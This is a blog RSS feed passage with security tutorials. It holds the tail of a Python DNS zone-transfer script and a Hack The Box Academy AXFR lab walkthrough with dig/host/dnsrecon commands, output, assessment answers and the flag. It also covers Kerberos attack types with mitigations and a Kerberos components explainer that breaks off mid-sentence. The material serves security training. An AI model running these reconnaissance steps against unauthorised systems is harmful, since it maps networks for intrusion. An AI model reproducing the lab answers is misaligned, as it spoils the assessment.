inlanefreight.htb&#39;, required=True)<br>    parser.add_argument(&#39;-n&#39;, action=&#39;store&#39;, metavar=&#39;Nameserver&#39;, type=str, <br>                       help=&#39;Nameservers separated by a comma.\tExample: ns1.inlanefreight.htb,ns2.inlanefreight.htb&#39;)<br>    parser.add_argument(&#39;-v&#39;, action=&#39;version&#39;, version=&#39;DNS-AXFR - v1.0&#39;, <br>                       help=&#39;Prints the version of DNS-AXFR.py&#39;)<br><br>    args = parser.parse_args()    <br><br>    if not args.d:<br>        print(&#39;[!] You must specify target Domain.\n&#39;)<br>        print(parser.print_help())<br>        exit()<br><br>    if not args.n:<br>        print(&#39;[!] You must specify target nameservers.\n&#39;)<br>        print(parser.print_help())<br>        exit()<br><br>    Domain = args.d<br>    NS.nameservers = list(args.n.split(&quot;,&quot;))<br><br>    for nameserver in NS.nameservers:<br>        AXFR(Domain, nameserver)<br><br>    if Subdomains is not None:<br>        print(&#39;-------- Found Subdomains:&#39;)<br>        for subdomain in Subdomains:<br>            print(&#39;{}&#39;.format(subdomain))<br>    else:<br>        print(&#39;No subdomains found.&#39;)<br>        exit()</pre><h3>The Lab Environment: A Controlled Exposure</h3><p><strong>Target:</strong> inlanefreight.htb<br><strong>Nameserver:</strong> 10.129.3.187</p><p>Execution returned 15 records including the apex domain. Removing the root @ entry yields <strong>14 actionable subdomains</strong>:</p><pre>adm.inlanefreight.htb      # Administrative interface candidate<br>blog.inlanefreight.htb     # Content management system target<br>dev.inlanefreight.htb      # Development environment (often less hardened)<br>help.inlanefreight.htb     # Support portal (potential credential harvesting)<br>ns1/ns2.inlanefreight.htb  # Infrastructure exposure<br>[...]</pre><p>Each entry represents a potential attack vector. The dev subdomain particularly warrants attention—development environments frequently contain source code, API documentation, and relaxed authentication controls.</p><h3>Why This Persists in 2024</h3><p>Three factors enable continued zone transfer abuse:</p><p><strong>1. Configuration Drift</strong></p><p>DNS servers are configured once and forgotten. A junior administrator enables zone transfers for troubleshooting in 2019. Nobody documents it. The server gets migrated, cloned, backed up, restored. The configuration persists indefinitely.</p><p><strong>2. False Sense of Security</strong></p><p>Modern DNS providers (Cloudflare, Route53) disable AXFR by default. Organizations running on-premise BIND, Windows DNS, or custom implementations often lack this protection. &quot;We&#39;re not using that feature&quot; doesn&#39;t mean it&#39;s disabled.</p><p><strong>3. Visibility Gap</strong></p><p>Security teams monitor HTTP logs, authentication events, and endpoint telemetry. DNS zone transfers generate minimal logs by default and rarely trigger alerts. The reconnaissance happens before any &quot;attack&quot; technically begins.</p><h3>Detection and Prevention</h3><p><strong>Immediate Actions:</strong></p><p><strong>Restrict AXFR</strong> — Configure allow-transfer { trusted-servers; }; in BIND to explicitly define which servers can request zone transfers.</p><p><strong>Query logging</strong> — Enable DNS audit logs for zone transfer requests. Most DNS software supports detailed logging of AXFR attempts including source IP and timestamp.</p><p><strong>Monitoring</strong> — Alert on AXFR attempts from unauthorized IPs. Even failed attempts indicate reconnaissance activity worth investigating.</p><p><strong>Testing</strong> — Perform quarterly zone transfer attempts against your own infrastructure. Treat this as basic hygiene, like certificate expiration checks.</p><p><strong>Verification Command:</strong></p><pre>dig @your-nameserver your-domain AXFR</pre><p>Any response other than Transfer failed indicates exposure.</p><h3>The Bigger Picture</h3><p>Zone transfers exemplify a critical cybersecurity principle: <strong>complex defenses fail against simple oversights</strong>. Organizations deploy sophisticated security stacks while neglecting foundational configurations. The result is asymmetric warfare where attackers exploit decade-old protocols with minimal tooling.</p><p>This isn&#39;t about blaming administrators. DNS infrastructure is complex, historically under-resourced, and rarely visible to security teams until incidents occur. The solution is systematic configuration auditing and treating DNS as a first-class security boundary.</p><h3>Conclusion</h3><p>Every zone transfer is an infrastructure confession. It tells attackers where you live, what you value, and how you&#39;ve organized your digital presence. For defenders, preventing this requires minimal effort—restrict transfer permissions, log queries, validate configurations.</p><p>The 14 subdomains discovered in the lab weren&#39;t hidden. They were published, catalogued, and delivered on request. The only question was whether anyone would ask.</p><p><em>The complete Python implementation and methodology are available for educational purposes. Use responsibly against systems you own or have explicit permission to test.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8e608ae61710" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[DNS Zone Transfer Attacks: A Practical Guide]]></title>
            <link>https://hassanbedair.medium.com/dns-zone-transfer-attacks-a-practical-guide-0b6a2eda5c94?source=rss-4e0e2db56131------2</link>
            <guid isPermaLink="false">https://medium.com/p/0b6a2eda5c94</guid>
            <dc:creator><![CDATA[Hassan Bedair]]></dc:creator>
            <pubDate>Thu, 12 Feb 2026 20:51:21 GMT</pubDate>
            <atom:updated>2026-02-12T21:26:42.769Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/332/1*1X0Ccq9JIKxixkPCv1dGXg.png" /></figure><p>Link <a href="https://academy.hackthebox.com/module/27/section/439">https://academy.hackthebox.com/module/27/section/439</a></p><p>Understanding AXFR Vulnerabilities Through Hands-On Practice</p><p>Page 1: Introduction to DNS and Zone Transfers</p><p>What is DNS?</p><p>The Domain Name System (DNS) serves as the internet’s phonebook, translating human-readable domain names (like google.com) into machine-readable IP addresses (like 142.250.80.46). Without DNS, we’d need to memorize complex numerical addresses for every website we visit.</p><p>DNS operates as a hierarchical, distributed database with multiple record types:</p><ul><li>A Records: Map hostnames to IPv4 addresses</li><li>AAAA Records: Map hostnames to IPv6 addresses</li><li>MX Records: Specify mail servers for email delivery</li><li>NS Records: Identify authoritative nameservers for a domain</li><li>TXT Records: Store text information (often used for verification)</li><li>CNAME Records: Create aliases pointing to other hostnames</li><li>SOA Records: Define zone administrative information</li></ul><p>Understanding Zone Transfers (AXFR)</p><p>A zone transfer (AXFR — Asynchronous Full Transfer Zone) is a DNS mechanism designed to replicate zone data between primary and secondary nameservers. When a secondary nameserver needs to update its records, it requests a full copy of the zone database from the primary server.</p><p>Legitimate Use Case:</p><pre>Primary NS (ns1) ──AXFR──&gt; Secondary NS (ns2)<br>     │                          │<br>     └── Zone data replicated ──┘</pre><p>The Security Problem:</p><p>If DNS servers are misconfigured, they may allow anyone to request a zone transfer, not just authorized secondary servers. This exposes the entire DNS infrastructure — every hostname, IP address, and service — to potential attackers.</p><p>Why Zone Transfers Are Dangerous</p><p>When an attacker successfully performs an unauthorized zone transfer, they receive a complete map of the target’s network infrastructure:</p><p><strong>Information Exposed:</strong></p><ul><li>All subdomains — Discovery of hidden services</li><li>Internal IP addresses — Network mapping and pivoting</li><li>Mail server locations — Targeting email infrastructure</li><li>Development/staging servers — Finding less-secured environments</li><li>VPN gateways — Entry points for remote access</li><li>Service records — Understanding technology stack</li></ul><p>This information transforms a black-box penetration test into a white-box assessment, dramatically reducing the time and effort required to identify attack vectors.</p><p>Page 2: Practical Methodology</p><p>Lab Environment Setup</p><p>In our hands-on lab, we have the following target infrastructure:</p><ul><li><strong>Target Domain:</strong> inlanefreight.htb</li><li><strong>DNS Server IP:</strong> 10.129.3.178</li><li><strong>Nameserver 1:</strong> ns1.inlanefreight.htb (10.129.2.55)</li><li><strong>Nameserver 2:</strong> ns2.inlanefreight.htb (10.129.2.58)</li></ul><p>Step 1: Identifying Nameservers</p><p>Before attempting a zone transfer, we must identify the authoritative nameservers for our target domain. This requires querying the specific DNS server rather than using default public resolvers.</p><p><strong>Common Mistake:</strong> Using default DNS settings</p><pre># WRONG - Queries public DNS (1.1.1.1)<br>dig NS inlanefreight.htb</pre><p>Result: NXDOMAIN (Non-Existent Domain) because public DNS doesn’t know about internal .htb domains</p><p><strong>Correct Approach:</strong> Target the specific DNS server</p><pre># RIGHT - Queries the target DNS server directly<br>dig NS inlanefreight.htb @10.129.3.178</pre><p>Expected Output:</p><pre>; &lt;&lt;&gt;&gt; DiG 9.18.33-1~deb12u2-Debian &lt;&lt;&gt;&gt; NS inlanefreight.htb @10.129.3.178<br>;; global options: +cmd<br>;; Got answer:<br>;; -&gt;&gt;HEADER&lt;&lt;- opcode: QUERY, status: NOERROR, id: 29182<br>;; flags: qr aa rd ra; QUERY: 1, ANSWER: 2, AUTHORITY: 0, ADDITIONAL: 3<br>;; ANSWER SECTION:<br>inlanefreight.htb.    3600    IN    NS    ns2.inlanefreight.htb.<br>inlanefreight.htb.    3600    IN    NS    ns1.inlanefreight.htb.<br>;; ADDITIONAL SECTION:<br>ns1.inlanefreight.htb.    3600    IN    A    10.129.2.55<br>ns2.inlanefreight.htb.    3600    IN    A    10.129.2.58</pre><p>Analysis: The domain uses two nameservers, and the DNS server helpfully provided their IP addresses in the Additional Section.</p><p>Step 2: Performing the Zone Transfer</p><p>With confirmed nameservers, we attempt the zone transfer using the AXFR query type:</p><pre>dig AXFR inlanefreight.htb @10.129.3.178</pre><p>Successful Zone Transfer Output:</p><pre>; &lt;&lt;&gt;&gt; DiG 9.18.33-1~deb12u2-Debian &lt;&lt;&gt;&gt; AXFR inlanefreight.htb @10.129.3.178<br>;; global options: +cmd<br>inlanefreight.htb.    3600    IN    SOA    ns1.inlanefreight.htb. adm.inlanefreight.htb. 8 3600 300 86400 600<br>inlanefreight.htb.    3600    IN    A    10.129.2.55<br>inlanefreight.htb.    3600    IN    A    10.129.2.58<br>inlanefreight.htb.    3600    IN    NS    ns1.inlanefreight.htb.<br>inlanefreight.htb.    3600    IN    NS    ns2.inlanefreight.htb.<br>admin.inlanefreight.htb. 3600    IN    A    134.209.24.248<br>app.inlanefreight.htb.    3600    IN    A    134.209.24.248<br>blog.inlanefreight.htb.    3600    IN    A    134.209.24.248<br>calvin.inlanefreight.htb. 3600    IN    A    134.209.24.248<br>cry0l1t3.inlanefreight.htb. 3600 IN    A    134.209.24.248<br>customers.inlanefreight.htb. 3600 IN    A    134.209.24.248<br>help.inlanefreight.htb.    3600    IN    CNAME    support.inlanefreight.htb.<br>jerry.inlanefreight.htb. 3600    IN    A    134.209.24.248<br>key.inlanefreight.htb.    3600    IN    TXT    &quot;HTB{mgraRNhvDCPcKpzAXHA6cJUhW}&quot;<br>key.inlanefreight.htb.    3600    IN    A    134.209.24.248<br>mrb3n.inlanefreight.htb. 3600    IN    A    134.209.24.248<br>ns1.inlanefreight.htb.    3600    IN    A    10.129.2.55<br>ns2.inlanefreight.htb.    3600    IN    A    10.129.2.58<br>vanny.inlanefreight.htb. 3600    IN    A    134.209.24.248<br>vpn.inlanefreight.htb.    3600    IN    A    134.209.24.248<br>inlanefreight.htb.    3600    IN    SOA    ns1.inlanefreight.htb. adm.inlanefreight.htb. 8 3600 300 86400 600<br>;; Query time: 46 msec<br>;; SERVER: 10.129.3.178#53(10.129.3.178) (TCP)<br>;; XFR size: 21 records (messages 1, bytes 563)</pre><p>Page 3: Analysis and Alternative Tools</p><p>Extracting Intelligence from Zone Data</p><p>The zone transfer revealed 21 DNS records. Let’s categorize the findings:</p><p><strong>Infrastructure Overview:</strong></p><ul><li>Nameservers: 2 (ns1, ns2)</li><li>Internal IPs: 10.129.2.55, 10.129.2.58</li><li>External Services: 134.209.24.248 (hosted on DigitalOcean)</li><li>Subdomains: 13 discovered</li><li>TXT Records: 1 (containing flag)</li></ul><p><strong>Critical Discoveries:</strong></p><ul><li>VPN Gateway: vpn.inlanefreight.htb → Potential remote access entry point</li><li>Admin Panel: admin.inlanefreight.htb → Likely management interface</li><li>Customer Portal: customers.inlanefreight.htb → User-facing application</li><li>Support System: help.inlanefreight.htb (CNAME to support) → Help desk</li><li>Proof of Vulnerability: key.inlanefreight.htb TXT record contains flag</li></ul><p>Alternative Tools for Zone Transfers</p><p>While dig is the standard tool, several alternatives offer additional features:</p><p>Using host (simpler syntax):</p><pre># Query NS records<br>host -t NS inlanefreight.htb 10.129.3.178</pre><pre># Perform zone transfer<br>host -l inlanefreight.htb 10.129.3.178</pre><p>Using dnsrecon (automated enumeration):</p><pre>dnsrecon -d inlanefreight.htb -t axfr -n 10.129.3.178</pre><p>Using dnsenum (comprehensive scanning):</p><pre>dnsenum --dnsserver 10.129.3.178 inlanefreight.htb</pre><p>Using fierce (aggressive discovery):</p><pre>fierce --domain inlanefreight.htb --dns-servers 10.129.3.178</pre><p>Automated Zone Transfer Testing</p><p>For penetration testing engagements, automate testing against multiple nameservers:</p><pre>#!/bin/bash<br>DOMAIN=&quot;inlanefreight.htb&quot;<br>DNS_SERVER=&quot;10.129.3.178&quot;</pre><pre>echo &quot;[*] Querying nameservers for $DOMAIN...&quot;<br>for ns in $(dig +short NS $DOMAIN @$DNS_SERVER); do<br>    echo &quot;[*] Trying zone transfer from: $ns&quot;<br>    dig AXFR $DOMAIN @$ns<br>done</pre><p>When Zone Transfers Fail</p><p>Not all DNS servers permit zone transfers. Common responses include:</p><ul><li>Transfer failed: Zone transfer restricted</li><li>REFUSED: Server denies AXFR requests</li><li>NOTAUTH: Request not authorized</li><li>Timeout: Firewall blocking AXFR</li></ul><p><strong>Alternative Reconnaissance:</strong> If AXFR fails, use:</p><pre># DNS brute-forcing<br>gobuster dns -d inlanefreight.htb -w wordlist.txt</pre><ul><li>Certificate Transparency logs: crt.sh or censys.io</li><li>Search engine discovery: site:*.inlanefreight.htb</li></ul><p>Page 4: Mitigation and Best Practices</p><p>Securing Against Zone Transfer Attacks</p><ol><li>Restrict AXFR to Authorized IPs</li></ol><p>BIND DNS Configuration:</p><pre>// named.conf<br>zone &quot;inlanefreight.htb&quot; {<br>    type master;<br>    file &quot;/etc/bind/zones/inlanefreight.htb&quot;;<br>    allow-transfer { 10.129.2.58; };  // Only allow ns2<br>    also-notify { 10.129.2.58; };<br>};</pre><ol><li>Implement Transaction Signatures (TSIG)</li></ol><p>Use cryptographic keys to authenticate zone transfers:</p><pre># Generate key<br>dnssec-keygen -a HMAC-SHA256 -b 256 -n HOST axfr-key</pre><pre># Configure on both servers</pre><ol><li>Disable AXFR Entirely (if not needed)</li></ol><pre>options {<br>    allow-transfer { none; };<br>};</pre><ol><li>Network Segmentation</li><li>Place DNS servers on isolated networks</li><li>Restrict port 53/TCP access to authorized hosts only</li><li>Monitor for unexpected AXFR requests</li></ol><p>Detection and Monitoring</p><p><strong>Log Analysis:</strong> Monitor DNS logs for AXFR requests from unauthorized sources:</p><pre>client 10.10.14.39#12345: zone transfer &#39;inlanefreight.htb/AXFR&#39; denied</pre><p><strong>Indicators of Compromise:</strong></p><ul><li>Multiple AXFR requests from single IP</li><li>Requests outside maintenance windows</li><li>Unusual query patterns (rapid sequential lookups)</li></ul><p>Responsible Disclosure</p><p>When you discover a zone transfer vulnerability:</p><ul><li>Document findings: Save zone transfer output as evidence</li><li>Assess impact: Determine sensitivity of exposed data</li><li>Report promptly: Notify organization through proper channels</li><li>Suggest fixes: Provide specific configuration recommendations</li><li>Verify remediation: Re-test after fixes implemented</li></ul><p>Real-World Impact</p><p>Zone transfer vulnerabilities have led to significant security breaches:</p><ul><li>2014 Uber Breach: Exposed internal infrastructure through DNS misconfiguration</li><li>2017 Equifax: Subdomain enumeration facilitated data exfiltration</li><li>2020 Twitter Hack: Internal tool discovery via DNS reconnaissance</li></ul><p>Conclusion</p><p>DNS zone transfers represent a critical configuration vulnerability that transforms network reconnaissance from guesswork into precise mapping. The hands-on lab demonstrated how a single misconfigured DNS server can expose:</p><ul><li>Complete infrastructure topology</li><li>Internal and external IP addresses</li><li>Service locations and purposes</li><li>Security credentials (via TXT records)</li></ul><p>For defenders, preventing unauthorized zone transfers requires minimal configuration changes but provides significant security benefits. For penetration testers, AXFR remains a high-value, low-noise reconnaissance technique that should be tested early in every engagement.</p><p><strong>Key Takeaways:</strong></p><ul><li>Always test for AXFR on new engagements</li><li>Query specific DNS servers using @server syntax</li><li>Analyze zone data for attack path construction</li><li>Report findings with clear remediation steps</li><li>Implement proper restrictions to prevent exposure</li></ul><p>This educational material is designed for authorized security training and penetration testing activities. Always ensure you have proper authorization before testing any systems you do not own.</p><p>HTB Academy: DNS Zone Transfer Lab Complete Walkthrough with 4 Assessment Questions</p><p>Question 1: Count the Nameservers</p><p>Task</p><p>Perform a zone transfer for the “inlanefreight.htb” domain and determine how many nameservers the company has.</p><p>Objective</p><p>Identify the total number of NS (Nameserver) records for the target domain.</p><p>Step-by-Step Solution</p><p>Step 1: Query the target DNS server for NS records</p><pre>dig NS inlanefreight.htb @10.129.3.178</pre><p>Step 2: Analyze the output</p><pre>; &lt;&lt;&gt;&gt; DiG 9.18.33-1~deb12u2-Debian &lt;&lt;&gt;&gt; NS inlanefreight.htb @10.129.3.178<br>;; global options: +cmd<br>;; Got answer:<br>;; -&gt;&gt;HEADER&lt;&lt;- opcode: QUERY, status: NOERROR, id: 29182<br>;; flags: qr aa rd ra; QUERY: 1, ANSWER: 2, AUTHORITY: 0, ADDITIONAL: 3<br>;; ANSWER SECTION:<br>inlanefreight.htb.    3600    IN    NS    ns2.inlanefreight.htb.<br>inlanefreight.htb.    3600    IN    NS    ns1.inlanefreight.htb.<br>;; ADDITIONAL SECTION:<br>ns1.inlanefreight.htb.    3600    IN    A    10.129.2.55<br>ns2.inlanefreight.htb.    3600    IN    A    10.129.2.58</pre><p>Step 3: Count the NS records in the ANSWER SECTION</p><ul><li>Record 1: ns1.inlanefreight.htb</li><li>Record 2: ns2.inlanefreight.htb</li></ul><p>Answer</p><pre>2</pre><p>Question 2: Find ns1 IPv4 Address</p><p>Task</p><p>Determine the IPv4 address of “ns1.inlanefreight.htb” and submit it as the answer.</p><p>Objective</p><p>Extract the A record for the first nameserver.</p><p>Step-by-Step Solution</p><p>Step 1: Query for the A record of ns1</p><pre>dig A ns1.inlanefreight.htb @10.129.3.178</pre><p>Alternative: Use host command</p><pre>host ns1.inlanefreight.htb 10.129.3.178</pre><p>Step 2: Review the output</p><pre>;; ANSWER SECTION:<br>ns1.inlanefreight.htb.    3600    IN    A    10.129.2.55</pre><p>Alternative Source: From Question 1’s ADDITIONAL SECTION:</p><pre>ns1.inlanefreight.htb.    3600    IN    A    10.129.2.55</pre><p>Answer</p><pre>10.129.2.55</pre><p>Question 3: Find ns2 IPv4 Address</p><p>Task</p><p>Perform a zone transfer and determine the IPv4 address of ns2.inlanefreight.htb.</p><p>Objective</p><p>Extract the A record for the second nameserver.</p><p>Step-by-Step Solution</p><p>Step 1: Query for the A record of ns2</p><pre>dig A ns2.inlanefreight.htb @10.129.3.178</pre><p>Alternative: Use host command</p><pre>host ns2.inlanefreight.htb 10.129.3.178</pre><p>Step 2: Review the output</p><pre>;; ANSWER SECTION:<br>ns2.inlanefreight.htb.    3600    IN    A    10.129.2.58</pre><p>Alternative Source: From Question 1’s ADDITIONAL SECTION:</p><pre>ns2.inlanefreight.htb.    3600    IN    A    10.129.2.58</pre><p>Answer</p><pre>10.129.2.58</pre><p>Question 4: Extract the TXT Record</p><p>Task</p><p>Perform a zone transfer to find the TXT record left by administrators as proof of concept.</p><p>Objective</p><p>Locate and extract the TXT record containing the flag.</p><p>Step-by-Step Solution</p><p>Step 1: Perform full zone transfer</p><pre>dig AXFR inlanefreight.htb @10.129.3.178</pre><p>Step 2: Search for TXT records in the output</p><pre>dig AXFR inlanefreight.htb @10.129.3.178 | grep TXT</pre><p>Step 3: Analyze the complete zone transfer output</p><pre>inlanefreight.htb.    3600    IN    SOA    ns1.inlanefreight.htb. adm.inlanefreight.htb. 8 3600 300 86400 600<br>inlanefreight.htb.    3600    IN    A    10.129.2.55<br>inlanefreight.htb.    3600    IN    A    10.129.2.58<br>inlanefreight.htb.    3600    IN    NS    ns1.inlanefreight.htb.<br>inlanefreight.htb.    3600    IN    NS    ns2.inlanefreight.htb.<br>admin.inlanefreight.htb. 3600    IN    A    134.209.24.248<br>app.inlanefreight.htb.    3600    IN    A    134.209.24.248<br>blog.inlanefreight.htb.    3600    IN    A    134.209.24.248<br>calvin.inlanefreight.htb. 3600    IN    A    134.209.24.248<br>cry0l1t3.inlanefreight.htb. 3600 IN    A    134.209.24.248<br>customers.inlanefreight.htb. 3600 IN    A    134.209.24.248<br>help.inlanefreight.htb.    3600    IN    CNAME    support.inlanefreight.htb.<br>jerry.inlanefreight.htb. 3600    IN    A    134.209.24.248<br>key.inlanefreight.htb.    3600    IN    TXT    &quot;HTB{mgraRNhvDCPcKpzAXHA6cJUhW}&quot;<br>key.inlanefreight.htb.    3600    IN    A    134.209.24.248<br>mrb3n.inlanefreight.htb. 3600    IN    A    134.209.24.248<br>ns1.inlanefreight.htb.    3600    IN    A    10.129.2.55<br>ns2.inlanefreight.htb.    3600    IN    A    10.129.2.58<br>vanny.inlanefreight.htb. 3600    IN    A    134.209.24.248<br>vpn.inlanefreight.htb.    3600    IN    A    134.209.24.248<br>inlanefreight.htb.    3600    IN    SOA    ns1.inlanefreight.htb. adm.inlanefreight.htb. 8 3600 300 86400 600</pre><p>Step 4: Identify the TXT record</p><pre>key.inlanefreight.htb.    3600    IN    TXT    &quot;HTB{mgraRNhvDCPcKpzAXHA6cJUhW}&quot;</pre><p>Answer</p><pre>HTB{mgraRNhvDCPcKpzAXHA6cJUhW}</pre><p>Quick Reference Summary</p><p><strong>Question 1: Count nameservers</strong></p><ul><li>Command: dig NS inlanefreight.htb @10.129.3.178</li><li>Answer: 2</li></ul><p><strong>Question 2: ns1 IP address</strong></p><ul><li>Command: dig A ns1.inlanefreight.htb @10.129.3.178</li><li>Answer: 10.129.2.55</li></ul><p><strong>Question 3: ns2 IP address</strong></p><ul><li>Command: dig A ns2.inlanefreight.htb @10.129.3.178</li><li>Answer: 10.129.2.58</li></ul><p><strong>Question 4: TXT record</strong></p><ul><li>Command: dig AXFR inlanefreight.htb @10.129.3.178</li><li>Answer: HTB{mgraRNhvDCPcKpzAXHA6cJUhW}</li></ul><p>Alternative Tools for Each Question</p><p><strong>Question 1:</strong></p><pre>host -t NS inlanefreight.htb 10.129.3.178</pre><p><strong>Question 2:</strong></p><pre>host ns1.inlanefreight.htb 10.129.3.178</pre><p><strong>Question 3:</strong></p><pre>host ns2.inlanefreight.htb 10.129.3.178</pre><p><strong>Question 4:</strong></p><pre>host -l inlanefreight.htb 10.129.3.178</pre><p>Key Lessons</p><ul><li>Always specify the target DNS server using @IP syntax</li><li>Zone transfers reveal complete DNS infrastructure</li><li>TXT records often contain flags or verification codes</li><li>AXFR is a high-value, low-noise reconnaissance technique</li></ul><p>All commands tested against target DNS server at 10.129.3.178</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0b6a2eda5c94" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Security Considerations & Attacks in Kerberos]]></title>
            <link>https://hassanbedair.medium.com/security-considerations-attacks-in-kerberos-22e8a7dccc60?source=rss-4e0e2db56131------2</link>
            <guid isPermaLink="false">https://medium.com/p/22e8a7dccc60</guid>
            <dc:creator><![CDATA[Hassan Bedair]]></dc:creator>
            <pubDate>Mon, 03 Feb 2025 18:03:04 GMT</pubDate>
            <atom:updated>2025-02-03T18:03:04.876Z</atom:updated>
            <content:encoded><![CDATA[<h3>🔹 Security Considerations &amp; Attacks in Kerberos</h3><p>Kerberos is a robust authentication protocol, but <strong>attackers can still exploit weaknesses</strong> if security best practices are not followed. Below are the most common <strong>Kerberos-based attacks</strong> and <strong>mitigation strategies</strong> to protect against them.</p><h3>1️⃣ Pass-the-Ticket (PtT) Attack</h3><p>🔹 <strong>What is it?</strong></p><ul><li>Attackers steal <strong>valid Kerberos tickets</strong> from a compromised machine and use them to access services <strong>without needing credentials</strong>.</li><li>Since Kerberos allows <strong>Single Sign-On (SSO)</strong>, stolen <strong>TGTs</strong> or <strong>Service Tickets</strong> can be replayed to gain unauthorized access.</li></ul><p>🔹 <strong>How it works?</strong></p><ol><li>Attacker gains access to a victim’s system using malware or privilege escalation.</li><li>Extracts <strong>TGTs or Service Tickets</strong> from memory (using tools like <strong>Mimikatz</strong>).</li><li>Uses the stolen ticket to access network resources <strong>as the victim</strong>.</li></ol><p>🔹 <strong>Mitigation Strategies:</strong><br> ✅ <strong>Use LSASS Protection</strong> — Prevent attackers from dumping credentials.<br> ✅ <strong>Enforce short ticket lifetimes</strong> — Reduce TGT validity (e.g., 4–8 hours).<br> ✅ <strong>Enable AES Encryption</strong> — Avoid weaker encryption like RC4.<br> ✅ <strong>Implement Windows Defender Credential Guard</strong> — Prevent ticket theft.<br> ✅ <strong>Use Multi-Factor Authentication (MFA)</strong> — Adds an extra layer of security.</p><h3>2️⃣ Kerberoasting Attack</h3><p>🔹 <strong>What is it?</strong></p><ul><li>Attackers request <strong>Service Tickets</strong> for Kerberos-enabled services, extract the <strong>encrypted password hash</strong> from the ticket, and attempt to crack it <strong>offline</strong>.</li><li><strong>No elevated privileges</strong> are needed — any domain user can perform this attack.</li></ul><p>🔹 <strong>How it works?</strong></p><ol><li>Attacker requests a <strong>Service Ticket (TGS Ticket)</strong> for a <strong>targeted service account</strong>.</li><li>The KDC issues the <strong>ticket encrypted with the service account’s NTLM hash</strong>.</li><li>Attacker extracts the ticket and brute-forces the <strong>hash offline</strong> (using tools like <strong>Hashcat</strong>).</li><li>If successful, they gain <strong>control over the service account</strong>, which may have <strong>privileged access</strong>.</li></ol><p>🔹 <strong>Mitigation Strategies:</strong><br> ✅ <strong>Use long and complex service account passwords</strong> (30+ characters).<br> ✅ <strong>Rotate service account passwords regularly</strong>.<br> ✅ <strong>Use Group Managed Service Accounts (gMSAs)</strong> — Automatically rotates passwords.<br> ✅ <strong>Restrict user access to request Service Tickets</strong>.<br> ✅ <strong>Monitor and alert on excessive Kerberos requests</strong>.</p><h3>3️⃣ Golden Ticket Attack</h3><p>🔹 <strong>What is it?</strong></p><ul><li>Attackers forge a <strong>TGT (Ticket Granting Ticket)</strong> using stolen <strong>KRBTGT account credentials</strong>, allowing <strong>unlimited access</strong> to network services.</li></ul><p>🔹 <strong>How it works?</strong></p><ol><li>Attacker compromises a <strong>Domain Controller</strong> and extracts the <strong>KRBTGT hash</strong>.</li><li>Uses tools like <strong>Mimikatz</strong> to generate <strong>fake TGTs</strong>.</li><li>Since Kerberos trusts TGTs issued by the KDC, the attacker <strong>authenticates as any user</strong>.</li><li><strong>Persistence</strong> — The attack remains effective even if passwords are reset.</li></ol><p>🔹 <strong>Mitigation Strategies:</strong><br> ✅ <strong>Reset KRBTGT account password</strong> twice periodically.<br> ✅ <strong>Monitor unusual authentication activity</strong>.<br> ✅ <strong>Use Managed Service Accounts</strong> to prevent unauthorized credential access.<br> ✅ <strong>Implement tiered administrative access</strong> (separate privileged accounts).</p><h3>4️⃣ Silver Ticket Attack</h3><p>🔹 <strong>What is it?</strong></p><ul><li>Attackers forge a <strong>Service Ticket (TGS)</strong> instead of a TGT, allowing access to <strong>specific services</strong> without ever interacting with the KDC.</li></ul><p>🔹 <strong>How it works?</strong></p><ol><li>Attacker extracts the NTLM hash of a <strong>service account</strong> (e.g., from Kerberoasting).</li><li>Uses the hash to generate a <strong>fake Service Ticket</strong>.</li><li>Bypasses authentication and gains access to services like <strong>SQL, LDAP, or CIFS (file shares)</strong>.</li></ol><p>🔹 <strong>Mitigation Strategies:</strong><br> ✅ <strong>Use strong, non-guessable service account passwords</strong>.<br> ✅ <strong>Restrict access to high-value services</strong>.<br> ✅ <strong>Monitor logs for unusual service access patterns</strong>.<br> ✅ <strong>Enable AES encryption</strong> to prevent hash extraction.</p><h3>🔹 Summary of Mitigation Strategies</h3><p>✔ <strong>Pass-the-Ticket</strong> — LSASS protection, short ticket lifetime, AES encryption, Credential Guard, MFA.<br> ✔ <strong>Kerberoasting</strong> — Long service account passwords, gMSAs, restrict Service Ticket requests.<br> ✔ <strong>Golden Ticket</strong> — Reset KRBTGT account, monitor authentication activity, restrict admin access.<br> ✔ <strong>Silver Ticket</strong> — Strong service passwords, restrict privileged service access, AES encryption.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=22e8a7dccc60" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Kerberos Components & Roles (Detailed Explanation)]]></title>
            <link>https://hassanbedair.medium.com/kerberos-components-roles-detailed-explanation-fa5e88057180?source=rss-4e0e2db56131------2</link>
            <guid isPermaLink="false">https://medium.com/p/fa5e88057180</guid>
            <dc:creator><![CDATA[Hassan Bedair]]></dc:creator>
            <pubDate>Mon, 03 Feb 2025 16:44:53 GMT</pubDate>
            <atom:updated>2025-02-03T16:44:53.304Z</atom:updated>
            <content:encoded><![CDATA[<p>Kerberos consists of <strong>four main components</strong>, each playing a crucial role in authentication and secure access management.</p><h3>1️⃣ Key Distribution Center (KDC) — The Central Authority</h3><p>The <strong>KDC</strong> is the <strong>heart of Kerberos</strong> and is responsible for authenticating users and issuing security tokens (tickets).<br> It runs as a <strong>trusted third-party service</strong> and consists of <strong>two main subcomponents</strong>:</p><ul><li><strong>Authentication Server (AS)</strong></li><li><strong>Ticket Granting Server (TGS)</strong></li></ul><p>💡 <strong>Location</strong>: Typically hosted on a domain controller in <strong>Windows Active Directory</strong> or a Kerberos server in Unix/Linux.</p><h3>2️⃣ Authentication Server (AS) — Verifies User Identity</h3><p>When a user wants to log in, the <strong>AS</strong> handles the <strong>first step</strong> of authentication.</p><p>🔹 <strong>Process:</strong></p><ol><li>The client (user) sends a request to the AS, including their username.</li><li>The AS looks up the user in its database (e.g., in Active Directory).</li><li>If the user exists, the AS generates a <strong>Ticket Granting Ticket (TGT)</strong> and encrypts it with the user’s <strong>hashed password</strong>.</li><li>The client decrypts the TGT using their password and stores it for future authentication requests.</li></ol><p>🔹 <strong>Key Role:</strong> Ensures that <strong>only legitimate users</strong> get a <strong>Ticket Granting Ticket (TGT)</strong> to access other services.</p><h3>3️⃣ Ticket Granting Server (TGS) — Issues Service Tickets</h3><p>The <strong>TGS</strong> handles <strong>the second 